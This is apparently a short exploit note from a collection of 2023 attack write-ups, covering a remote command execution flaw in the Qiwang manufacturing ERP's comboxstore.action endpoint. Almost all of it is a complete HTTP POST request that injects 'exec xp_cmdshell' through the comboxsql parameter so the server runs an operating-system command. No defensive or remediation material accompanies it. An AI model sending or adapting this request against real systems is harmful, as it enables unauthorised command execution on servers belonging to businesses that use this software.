2023Hvv/企望制造 ERP comboxstore.action 远程命令执行漏洞.md
2023-08-22 10:05:26 +08:00

187 B

POST /mainFunctions/comboxstore.action HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: xxx.xxx.xxx.xxx

comboxsql=exec%20xp_cmdshell%20'type%20C:\Windows\Win.ini'